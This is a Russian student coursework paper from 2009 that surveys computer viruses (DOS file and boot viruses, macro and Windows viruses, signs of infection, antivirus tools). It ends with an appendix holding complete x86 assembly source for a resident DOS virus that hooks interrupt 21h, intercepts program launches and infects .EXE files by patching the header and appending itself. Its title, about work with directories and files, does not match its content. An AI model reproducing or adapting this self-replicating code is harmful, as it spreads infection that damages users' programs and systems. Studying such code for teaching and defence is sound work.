КУРСОВАЯ РАБОТА
на тему:
"Работа с каталогами
и подкаталогами. Работа с файлами"
Орел, 2009
Введение
Компьютерный
вирус –
разновидность компьютерных программ, отличительной особенностью которой
является способность к размножению (саморепликация). В дополнение к этому
вирусы могут повредить или полностью уничтожить все файлы и данные,
подконтрольные пользователю, от имени которого была запущена заражённая
программа, а также повредить или даже уничтожить операционную систему со всеми
файлами в целом.
Неспециалисты
к компьютерным вирусам иногда причисляют и другие виды вредоносных программ,
такие как трояны, программы-шпионы и даже спам. Известны десятки тысяч
компьютерных вирусов, которые распространяются через Интернет по всему миру, организуя
вирусные эпидемии.
Вирусы
распространяются, внедряя себя в исполняемый код других программ или же заменяя
собой другие программы. Какое-то время даже считалось, что, являясь программой,
вирус может заразить только программу – какое угодно изменение не
программы является не заражением, а просто повреждением данных.
Подразумевалось, что такие копии вируса не получат управления, будучи
информацией, не используемой процессором в качестве инструкций. Так, например
неформатированный текст не мог бы быть переносчиком вируса.
Однако,
позднее злоумышленники добились, что вирусным поведением может обладать не
только исполняемый код, содержащий машинный код процессора. Были написаны
вирусы на языке пакетных файлов. Потом появились макровирусы, внедряющиеся через
макросы в документы таких программ, как Microsoft Word и Excel.
Некоторое
время спустя взломщики создали вирусы, использующие уязвимости в популярном
программном обеспечении (например, Adobe Photoshop, Internet Explorer,
Outlook), в общем случае обрабатывающем обычные данные. Вирусы стали
распространяться посредством внедрения в последовательности данных (например,
картинки, тексты, и т.д.) специального кода, использующего уязвимости
программного обеспечения.
1. Файловые
вирусы в MS DOS
По одной из классификаций
вирусы делят на файловые и загрузочные (бутовые). К файловым вирусам относят
вирусы, поражающие запускаемые файлы (программы), а к загрузочным – вирусы,
активизирующиеся через главную загрузочную запись или через ВООТ – сектор.
Деление довольно условное, так как стали появляться вирусы, сочетающие в себе
свойства тех и других. Мы, однако, традиционно разделим вирусы, обитающие в
среде MS DOS на файловые и бутовые (загрузочные). В разделе IV мы поговорим о других
видах. Файловые вирусы (ФВ) могут заражать как СОМ так
ЕХЕ – программы.
Ниже перечислены стандартные способы заражения:
1. Способы
заражения СОМ-программ. На Рис. 1 представлены три способа заражения
СОМ-программ. Легко заметить, что заражение осуществляется так, чтобы вирус
получал управление сразу после запуска программы. Как Вы понимаете, команда JMP
символизирует здесь просто передачу управления. Вместо нее с тем же успехом
пользуются командами RET или CALL с соответствующей корректировкой стека.
2. Заражение
ЕХЕ – программ. Заразить ЕХЕ-программу несколько сложнее, хотя идея заражения
довольно ясна. Тело вируса приписывается к какой-либо части программы, а в
заголовке меняются значения регистров CS и IP (см. Главу 14). Таким образом,
при запуске программы управление вначале опять передается вирусу. Наиболее
изощренные вирусы корректируют еще значения SS и SP, дабы не угодить в область
стека, а также проверяют программу на наличие в ней оверлеев. Наличие в
программе оверлея может привести к тому, что управление никогда не будет
передано вирусу, и программа перестанет запускаться.
3. Некоторые
вирусы способны заражать оверлеи, имеющие стандартную структуру. Активизация вируса
происходит при запуске оверлея прикладной программой.
Появившийся
некоторое время назад вирус DIR является своего рода качественным развитием
файловых вирусов. Данный вирус корректирует FAT так, что при запуске любой
программы управление передается ему. После того как он оказался в памяти,
стандартные утилиты уже не могут обнаружить искаженную структуру FAT.
4.
Активизация вирусов. Часть вирусов, которые называют не резидентными,
активизируются лишь временно, во время запуска зараженной программы. Как
правило, за время активизации они пытаются заразить одну или несколько
программ. Поиск программ для заражения может производиться в текущем каталоге,
корневом каталоге, через PATH в окружении или посредством поиска по всему
дереву каталогов (алгоритм достаточно сложен для реализации его на ассемблере,
и, кроме того, для осуществления поиска требуется время).
Вирусы,
называемые резидентными, активизируются во время запуска программы и остаются
активными в течение всего времени работы компьютера. Некоторые вирусы остаются
активными даже после перезагрузки через Ctrl Alt Del, т.к. обрабатывают
соответствующее прерывание. Рассмотрим подробнее, как вирусы устанавливают себя
в памяти. При запуске программы управление передается вирусу. В его задачу
входит: а) установить себя в память; б) передать управление запущенной
программе. Есть три области памяти, где может прижиться вирус. Это старшие
адреса памяти, младшие адреса памяти и системная область. Установка вируса
посередине адресного пространства неэффективна, т.к. сразу же даст о себе знать
– перестанут запускаться программы. Остаться резидентным в старших адресах
памяти наиболее простая задача. Вирус перемещает себя в нужную область памяти,
а затем корректирует текущий МСВ, уменьшая размер блока на размер захваченной
области. Сложнее остаться резидентным в младших адресах памяти. Свободного
блока может не быть, и придется перемещать программу. Если это ЕХЕ – программа,
то не избежать корректировки адресов. Кроме того, придется правильно создать
свой МСВ и, следовательно, скорректировать предыдущий. Зато вирус в младших
адресах памяти не так бросается в глаза. Некоторые вирусы «прикрепляют» себя к
телу легальной резидентной программы, что значительно затрудняет их обнаружение.
Если вирус не слишком большой, то сможет найти себе место и в системной
области. Это может быть системный стек, системный буфер (тогда должно быть
уменьшено число системных буферов), область данных DOS и BIOS или область
векторов прерываний. Отметим, что есть вирусы, которые, как ни странно, для
установки себя в памяти используют стандартное прерывание 27Н. Оказавшись в
памяти, такой вирус еще раз запускает зараженную программу, оставляя занятым
лишь блок, который он занимает. Передает управление сразу на нее, а по выходу
из этой программы передает управление DOS через прерывание 27Н (!). Заметим
также, что вирус может состоять из нескольких частей, которые могут
располагаться в разных областях памяти и взаимодействовать друг с другом.
Вирус,
помещая себя в память, перехватывает некоторые прерывания, чтобы контролировать
ситуацию и иметь возможность размножаться. Как правило, это 21-е и 13-е
прерывания. Посредством этих прерываний можно контролировать обращение системы
к диску и при благоприятной возможности заразить программу. Чаще всего для этой
цели используется функция DOS 4BH, вызываемая каждый раз для запуска программы.
Есть, однако, вирусы, которые заражают файл даже при его открытии или чтении.
Конечно, легко написать программу, которая путем отслеживания прерываний 13Н и
21Н фиксировала бы подозрительные действия, происходящие в системе (такие
программы называют мониторами). Однако многие вирусы трассируют прерывания,
определяя значения векторов до того, как их перехватили какие-то программы, или
же используют недокументированные точки входа в системные процедуры. Поэтому
такие программы, даже запущенные до активизации вируса, не способны отслеживать
его действия. Возможно также, что вирус направит вектор в область памяти, где будет находиться
небольшая процедура, которая нестандартным способом (например, через IRET)
передаст управление вирусу, который будет находиться в другой области
пространства. Перехваченные векторы могут приводить, разумеется, к проявлению
как разрушительных (форматирование дискет, порча файлов, зависание и т.п.), так
и развлекательных (картинки, шуточные сообщения, звуковые проявления и т.д.)
функций вируса. К файловым вирусам следует отнести и вирусы-спутники. Действие
этих вирусов весьма остроумно. Суть в том, что рядом с ЕХЕ – программой
создается СОМ – программа, но с таким же именем. Понятно, что это есть в чистом
виде сам вирус. Когда же мы запускаем ЕХЕ – программу, то по правилам
операционная система ищет вначале СОМ – модуль и запускает его. Активизируясь,
вирус затем запускает и саму программу. После этого запуск незараженной
программы вызывает появление в том же подкаталоге ее СОМ – двойника. В более
простом варианте вирус является нерезидентным, и заражение происходит во время
запуска программы.
2. Бутовые
(загрузочные) вирусы
Стандартный
механизм заражения такими вирусами таков: вместо программы загрузки
подставляется другая программа, которая:
1. При
запуске системы вначале загрузит в память резидентную часть вируса.
2.
Перенаправит нужные векторы прерываний на эту резидентную часть.
3. Запустит
программу загрузки так, чтобы процесс загрузки продолжался.
Все такие
вирусы, как правило, работают с прерыванием 1ЗН, которое перехватывают при
загрузке системы. Хитрость здесь в том, чтобы обманывать программы,
просматривающие диск. При попытке просмотреть ВООТ – сектор вместо него
подставляется истинный, без вируса.
Часто одного
сектора недостаточно для тела вируса, и другую свою часть он прячет в свободных
секторах, которые можно найти в начале, либо в секторах, которые затем он
помечает как сбойные. Свободные секторы найти совсем несложно. Действительно,
вся дорожка цилиндра 0 стороны 0 пустует, кроме первого сектора, где
располагается Partition Table или ВООТ – сектор (для дискеты). На дискетах
бутовые вирусы прячутся также в последних секторах корневого каталога. Наконец,
вирусы могут содержать в себе свой загрузчик. Такие вирусы при записи в ВООТ – сектор
затирают старый загрузчик. Некоторые вирусы (знаменитый вирус BRAIN) используют
свободные кластеры на диске, которые ищут по FAT-таблице, помечая их как испорченные.
Бутовых вирусов не так много, как файловых, и распространяются они не так
быстро. Связано это с тем, что для заражения компьютера требуется попытка
запуска с зараженной дискеты. Однако в последнее время начинают появляться
вирусы, сочетающие в себе свойства как файловых, так и бутовых вирусов.
3. Другие
вирусы
Существуют
вирусы, встречающиеся гораздо реже, чем файловые или бутовые вирусы. К таким, в
частности, относятся вирусы, которые можно назвать драйверными. Они работают на
уровне загружаемых драйверов устройств, внедряясь в системную область после
загрузки операционной системы либо используя для заражения файл CONFIG.SYS.
Последнее довольно интересно, т. к. использование строки 'DEVICE' требует,
чтобы загружаемый драйвер находился на диске в виде файла. Здесь возможны
различные
уловки, например, вирус вначале активизируется через программу загрузчик,
подставляет необходимую строку в CONFIG.SYS и образует соответствующий драйвер.
Далее загрузка идет своим чередом, и вирус оказывается загруженным в область
драйверов. После загрузки, естественно, строка в CONFIG.SYS и драйвер в конце
уничтожаются. Другие вирусы внедряются непосредственно в драйвер устройства.
Стандартный механизм заражения драйвера таков: вирус приписывает себя к концу
драйвера и модифицирует адреса программы стратегии и программы прерываний так,
чтобы при вызове драйвера обращение вначале происходило к вирусу. Определенную
группу вирусов называют «червями». Эти вирусы орудуют в компьютерных сетях.
Переходя от компьютера к компьютеру, они могут практически не использовать
дисковое пространство и работать только на уровне оперативной памяти.
Существование таких вирусов для локальных IBM-сетей пока неизвестно. До сих пор
мы говорили о вирусах, «работающих» на уровне машинных команд. К таковым
относятся и вирусы, написанные на языках высокого уровня (есть такие вирусы,
работающие в среде MS DOS). В любом случае сам механизм встраивания в прикладную
или системную программу происходит на уровне команд микропроцессора. Однако
возможен совершенно иной тип вируса (автору неизвестно о существовании таких
вирусов на персональных компьютерах). Такие вирусы можно назвать командными.
Принципиально нет ничего, что могло бы помешать их появлению. Современные
прикладные пакеты (редакторы, электронные таблицы, системы управления баз
данных и т.п.) часто имеют свои языки управления заданиями. Эти языки могут
быть весьма мощными и гибкими, в принципе позволяющими создавать
саморазмножающиеся объекты. Похожая ситуация складывается и в среде
операционных систем. В MS DOS существует возможность написания пакетных файлов –
выполняемых программ, состоящих из команд операционной системы. Существенно то,
что вместо команд операционной системы может стоять любая программа – обычный
загрузочный модуль, выполняющийся в среде операционной системы. Таким образом,
мы можем до бесконечности пополнять и совершенствовать набор стандартных
команд. Не составит труда написать программу, которая бы разыскивала ВАТСН – файлы
и дописывала бы к ним несколько строк.
Наконец, принципиально
возможен еще один тип вирусов. Такие вирусы можно назвать транслируемыми. К
тексту программы на языке высокого уровня дописывается некоторое количество
строк. После трансляции вирус оказывается неотъемлемой частью программы.
Процесс же дописывания строк к текстам программ будет продолжаться.
4.
Вирусы
в операционной системе Windows
С появлением
операционной системы Windows 95 поле деятельности производителей компьютерных
вирусов в значительной степени расширилось. Здесь бы я выделил три типа вирусов,
которые так или иначе связаны с новой операционной системой:
1. Вирусы,
написанные на Visual Basic и внедряющиеся в файлы, создаются для MSWORD и
MSEXEL. Эпидемия этих вирусов прокатилась некоторое время назад, в настоящее же
время они стали неотъемлемой частью нашей жизни. Принцип функционирования этих
вирусов весьма прост. Многие программы создают файлы, которые могут содержать в
себе макрокоманды. Причем можно сделать так, что эти макрокоманды будут
выполняться каждый раз перед загрузкой этого файла (макрос AutoOpen).;
Макро – вирус
вставляет свою процедуру так, что она выполняется перед загрузкой документа.
Поэтому образом вирус будет каждый раз получать управление. Все остальное–дело
техники.
2. Вирусы, в
целом написанные для MS DOS, но использующие так или иначе наличие операционной
системы Windows. Здесь речь может идти о самых разных проявлениях. Есть вирусы,
поражающие ЕХЕ – файлы в формате NE. Причем DOS-часть этих файлов. Так что они
активизируются только при запуске этих файлов в MS DOS. Есть вирусы,
встраивающиеся в загрузочные файлы Windows и т.д.
3.
Полноценные Windows-вирусы. Пока преобладает, скажем так, не резидентный подход.
Заражается ЕХЕ – файл (формат NE или РЕ). При запуске такой программы вирус
активизируется на время, необходимое для поиска программы-жертвы. Появились
также вирусы с ины
Вирус также корректирует SYSTEM.INI, так чтобы данный «драйвер» загружался
каждый раз при загрузке Windows.
SYSTEM.INI
используется также для заражения программ, всегда загружаемых при запуске
WINDOWS. Вообще понятие резидентной программы в Windows потеряло свой смысл.
Любая программа может быть резидентной, т.е. находится в памяти при запуске и
работе других программ. Следовательно, любой вирус, заразивший ту или иную
программу и не удаляющий себя из памяти при запуске, может быть резидентным.
Вопрос заключается лишь в том, может он активизироваться или нет при
активизации зараженной программы.
5.
Борьба
с вирусами
Мы
попробовали провести некоторую классификацию проявлений вирусов. По этим
признакам можно судить о присутствии вирусов на диске или в памяти, не имея
специальных средств:
а) Изменение
длины программ. Не многим вирусам удается не менять длины программы. Некоторые
вирусы пытаются так подкорректировать длину, чтобы ее изменение было незаметно.
Например, не садятся на слишком короткие программы, корректируют длину так,
чтобы она изменилась на 1000 байт (не так заметно) и т.д.
б) Нехватка
памяти. Некоторые программы сообщают о нехватке памяти, некоторые выдают
сообщения об ошибке или зависают. В любом случае это должно Вас насторожить. в)
Когда вирус «садится» на программу, то происходит автоматическая корректировка
времени и даты файла. Если вирус не восстанавливает старые значения, то это
может служить хорошим признаком несанкционированного доступа к Вашей программе.
Интересно, что установка во времени корректировки файла 62 секунды (проверьте,
что установить 63 или 61 секунду невозможно, и объясните почему) является для многих
вирусов признаком зараженности программы.
г)
Проявления, связанные с развлекательными функциями вируса. Это могут быть
необычные или шутливые сообщения, странные явления на экране (осыпание букв и
т.д.), звуковые сигналы и музыка и т.д.
д)
Проявления, связанные с разрушительными функциями вирусов. Это может быть
неожиданно переставшая запускаться программа, испорченная база данных, не
запускающаяся дискета, странные зависания системы и т.д.
е)
Проявления, связанные с некорректной работой вируса или наличием ошибок в нем.
Классическим примером может служить отсутствие обработки критических ошибок для
MS DOS (см. Глава 9). Некоторые вирусы, заражая программу, безнадежно портят ее
(иногда ошибка, а иногда и намеренные действия). Часто вирусы некорректно работают
с операционной системой. Например, не работают на DOS 6.0. Портят содержимое
регистров при входе в программу. Проявлений здесь огромное количество.
Некорректная загрузка Windows также должна Вас насторожить.
ж) Иногда о
наличии в программе вируса можно судить по присутствию в нем некоторых
характерных строк, которые можно обнаружить даже при «текстовом» просмотре. Вот
эти типичные строки: *.СОМ, *.ЕХЕ, РАТН=, COMMAND.
«Умные» вирусы,
однако, шифруют строки, подобные этим.
з)
Нерезидентные вирусы после запуска зараженной программы должны найти новую
жертву, прежде чем передать управление программе. Поиск, вообще говоря, может
потребовать времени. Поэтому отмечайте для себя те случаи, когда некоторые
программы начнут запускаться медленнее обычного.
Появление
новых операционных систем, таких, как Windows, вносит серьезные коррективы в
дело обнаружения вирусов. Сразу скажу, что обнаружение вирусов способами,
описанными выше, становится все менее и менее возможным. Из-за огромного
количества файлов как в самой операционной системе, так и в используемых
пакетах, никто уже не просматривает списки файлов. Да и сами программы
запускаются или с рабочего стола, или из меню. Наличие же ошибок в операционных
системах Windows 95 и Windows 98 приучает пользователей к не совсем корректной
работе системы. Зависания, некорректные загрузки и неожиданные перезагрузки
компьютера теперь списывают на систему, а о вирусах забывают. Все это
достаточно печально и наводит на мысль о том, что компьютерным вирусам далее
будет жить все вольготнее. Наше время ознаменовано также широким
распространением локальных и глобальных компьютерных сетей, что еще в большей
степени усложняет возможность обнаружения вируса. Сейчас наработан довольно
большой арсенал программных средств защиты от вирусов. Ниже перечисляются эти
средства защиты. Антивирусные ревизоры. Суть работы этих программ заключается в
том, что состояние программ, системных файлов, boot-секторов и т.п.
запоминается. При запуске ревизора происходит сравнение контрольных сумм. При обнаружении
изменений выдается сообщение или производятся, какие-либо другие действия.
Разумеется, ревизор не может точно сказать, обнаружен вирус или изменения
вызваны другими причинами. Основным требованием, предъявляемым к таким
программам, является умение обнаружить изменения, производимые вирусом, даже
если вирус находится в памяти. Ревизия должна производиться по крайней мере
каждый раз после запуска операционной системы. Существуют резидентные ревизоры,
которые могут проверять контрольную сумму программы перед самым ее запуском.
Детекторы.
Эти программы рассчитаны на вполне определенные вирусы, которые ищутся по
сигнатуре – строке, содержащейся в теле вируса. Некоторые детекторы позволяют
пользователю пополнять список сигнатур. Использование таких программ достаточно
ограниченно. Новые вирусы появляются с огромной быстротой, и даже авторы самых
знаменитых и эффективных детекторов не поспевают за ними.
Фаги.
Программы, позволяющие восстанавливать (лечить) зараженные файлы. Обычно такие
программы имеют и встроенный детектор. Данные программы весьма опасны, т.к.
часто портят восстанавливаемые файлы. Весьма незначительные изменения в вирусе
могут привести к изменению длины вируса или отдельных его частей и даже способа
заражения. После чего попытка излечить программу отданного вируса скорее всего
приведет к порче программы. Вакцины и вакцинация. Идея заключается в попытке
обмануть вирус. Большинство вирусов перед тем как «сесть» на программу
проверяет, не заражена ли уже она. Для этого в теле программы в определенном
месте ищется специальная метка. Если в нужное место программы поместить эту
метку, то программа тем самым будет защищена отданного вируса. Резидентная
программа-вакцина находится в памяти и имитирует наличие там вируса. При
запуске зараженной программы вирус проверяет наличие себя в памяти по
определенным признакам. Вакцина обманывает вирус, не позволяя ему остаться в
памяти. Легко сообразить, что количество вирусов, от которых можно уберечься
таким способом, невелико. Трудно себе представить вакцинацию, скажем, от ста
вирусов одновременно. Такой метод можно эффективно использовать лишь во время
эпидемий на машинах со многими пользователями. Резидентные сторожа. Сторож–это
программа, позволяющая выявить или блокировать несанкционированные действия в
системе. Таковым может быть либо заражение программы, либо попытка остаться в
памяти резидентно. Отслеживанием прерываний и сравнением объема свободной
памяти до и после запуска программы это сделать не так уж трудно. Проблема
заключается в том, что запись на диск производится довольно часто, и сторож
должен проявлять определенную «интеллектуальность», реагируя лишь на
подозрительные операции.
Программа
может иметь и своего собственного сторожа, который запускается при запуске
программы и далее проверяет возможность ее заражения. В конце главы приводятся
примеры того, как в принципе может быть построен такой сторож.
6. Постановка
задачи
Продемонстрировать
стандартный способ заражения. ЕХЕ – файлов.
В частности стандартный способ заражения ЕХЕ-файлов такой: вирус изменяет в заголовке файла точку входа (значения CS и IP) таким образом, чтобы она соответствовала концу файла; затем он дописывается в конец (т.о. новая точка входа соответствует его началу). При этом вирус сохраняет в себе изначальную точку входа, и когда он выполнит свою задачу – передает управление по этому адресу. Помимо точки входа вирус может переопределить (а потом – отреставрировать) значения SS и SP.
Заключение
Ныне
существует немало разновидностей вирусов, различающихся по способу распространения
и функциональности. Если изначально вирусы распространялись на дискетах и
других носителях, то сейчас доминируют вирусы, распространяющиеся через
Интернет. Растёт и функциональность вирусов, которую они перенимают от других
видов программ: руткитов, бэкдоров (создают «чёрный ход» в систему),
кейлоггеров (регистрация активности пользователей), программ-шпионов (крадут
пароли от банковских счётов и номера кредитных карт), ботнетов (превращают
заражённые компьютеры в станции по рассылке спама или в часть компьютерных
сетей, занимающихся спамом и прочей противоправной активностью).
Создание
и распространение компьютерных вирусов и вредоносных программ преследуется в
России согласно Уголовному Кодексу РФ (глава 28, статья 273).
Список
литературы
1. Пирогов, В.Ю. ASSEMBLER. Учебный курс [Текст]/ В.Ю. Пирогов. – М.: Издательство Нолидж, 2001. – 848 с., ил.
2. http://www.codenet.ru/cat/Languages/Assembler/
Приложение
А
Это –
программа, пример стандартного заражения
ЕХЕ-файлов
ASSUME
CS: CodeSegment
CodeSegment
SEGMENT PARA
ORG(100h)
Start:
MainProcedure
PROC NEAR
;
;
my_head:
JMP initial
;
;
f_number:
DW 0
;
;
saved_int21:
DD 0
;
;
;
int21_treater:CMP
AH, 4Bh
JE
begin
JMP
retro
begin:
PUSH AX
PUSH
BX
PUSH
CX
PUSH
DX
PUSH
DS
PUSH
ES
PUSH
DI
PUSH
SI
MOV
DI, DX
resend_again:
INC DI
CMP
byte ptr DS: [DI], 0
JNE
resend_again
CMP
word ptr DS: [DI-2], 4558h
JNE
to_no_exe
CMP
word ptr DS: [DI-4], 452Eh
JE
thats_exe
to_no_exe:
JMP no_exe
thats_exe:
MOV
CX, 0
MOV
AH, 3Dh
MOV
AL, 2
CALL
call_int21
MOV
word ptr CS: [f_number-100h], AX
PUSH
CS
POP
DS
MOV
AH, 3Fh
MOV
DX, OFFSET data_exe – 100h
MOV
CX, 20h
MOV
BX, word ptr CS: [f_number-100h]
CALL
call_int21
CMP
word ptr DS: [data_exe – 100h + 0Ah], 50h
JNE
thats_clear
JMP
no_exe
thats_clear:
MOV
word ptr DS: [data_exe – 100h + 0Ah], 50h
MOV
AX, word ptr CS: [data_exe – 100h + 14h]
MOV
word ptr CS: [saved_ip – 100h + 1], AX
MOV
AX, word ptr CS: [data_exe – 100h + 16h]
MOV
word ptr CS: [saved_cs – 100h + 1], AX
MOV
AX, word ptr CS: [data_exe – 100h + 10h]
MOV
word ptr CS: [saved_sp – 100h + 1], AX
MOV
AX, word ptr CS: [data_exe – 100h + 0Eh]
MOV
word ptr CS: [saved_ss – 100h + 1], AX
XOR
CX, CX
XOR
DX, DX
MOV
BX, word ptr CS: [f_number-100h]
MOV
AL, 2
MOV
AH, 42h
CALL
call_int21
PUSH
AX
PUSH
DX
MOV
BX, 200h
DIV
BX
INC
AX
ADD
DX, 1C3h
CMP
DX, 200h
JB
no_add
INC
AX
SUB
DX, 200h
no_add:
MOV word ptr CS: [data_exe – 100h + 2h], DX
MOV
word ptr CS: [data_exe – 100h + 4h], AX
POP
DX
POP
AX
PUSH
AX
MOV
AX, DX
MOV
BX, 1000h
MUL
BX
POP
DX
;
CMP
AX, 0
JE
sub_dx
sub_ax:
SUB AX, word ptr CS: [data_exe – 100h + 8h]
JMP
short length_got
sub_dx:
PUSH AX
PUSH
DX
MOV
AX, word ptr CS: [data_exe – 100h + 8h]
MOV
BX, 10h
MUL
BX
POP
DX
SUB
DX, AX
POP
AX
length_got:
MOV
word ptr CS: [M1 – 100h +1], DX
MOV
word ptr CS: [data_exe – 100h + 14h], DX
MOV
word ptr CS: [data_exe – 100h + 16h], AX
ADD
AX, 50h
MOV
word ptr CS: [data_exe – 100h + 10h], DX
MOV
word ptr CS: [data_exe – 100h + 0Eh], AX
MOV
BX, word ptr CS: [f_number-100h]
MOV
DX, OFFSET my_head-100h
MOV
CX, my_end – my_head
MOV
AH, 40h
CALL
call_int21
XOR
CX, CX
XOR
DX, DX
MOV
BX, word ptr CS: [f_number-100h]
MOV
AL, 0
MOV
AH, 42h
CALL
call_int21
MOV
BX, word ptr CS: [f_number-100h]
MOV
DX, OFFSET data_exe-100h
MOV
CX, 20h
MOV
AH, 40h
CALL
call_int21
to_close:
MOV BX, word ptr CS: [f_number-100h]
MOV
AH, 3Eh
CALL
call_int21
no_exe:
POP SI
POP
DI
POP
ES
POP
DS
POP
DX
POP
CX
POP
BX
POP
AX
retro:
JMP dword ptr CS: [saved_int21–100h]
call_int21:
PUSHF
CALL
dword ptr CS: [saved_int21–100h]
RET
initial:
PUSH DS
PUSH
ES
MOV
AX, 40h
MOV
ES, AX
CMP
byte ptr ES: [134h], 55h
JE
no_tsr
MOV
byte ptr ES: [134h], 55h
MOV
AX, DS: [02]
SUB
AX, 30h
PUSH
DS;>>
PUSH
CS
POP
DS
m1:
MOV SI, OFFSET my_head
MOV
ES, AX
XOR
DI, DI
MOV
CX, my_end – my_head
CLD
REPE
MOVSB
POP
DS
MOV
BX, DS
DEC
BX
MOV
DS, BX
SUB
word ptr DS: [03h], 30h
SUB
word ptr DS: [12h], 30h
XOR
BX, BX
MOV
DS, BX
MOV
AX, DS: [21h*4+0]; 48Bh
MOV
word ptr ES: [saved_int21–100h+0], AX
MOV
AX, DS: [21h*4+2]; 5BDh
MOV
word ptr ES: [saved_int21–100h+2], AX
CLI
MOV
word ptr DS: [21h*4+0], OFFSET int21_treater – 100h
MOV
word ptr DS: [21h*4+2], ES
STI
no_tsr:
POP
AX
MOV
DS, AX
ADD
AX, 10h
POP
ES
CMP
word ptr CS: [00], 20CDh
JNE
no_first
RET
no_first:
CLI
saved_ss:
MOV CX, 1234h
ADD
CX, AX
MOV
SS, CX
saved_sp:
MOV SP, 1234h
STI
saved_cs:
MOV DI, 1234h
ADD
AX, DI
PUSH
AX
saved_ip:
MOV AX, 1234h
PUSH
AX
RETF
data_exe:
my_end:
MainProcedure
ENDP
CodeSegment
ENDS
END Start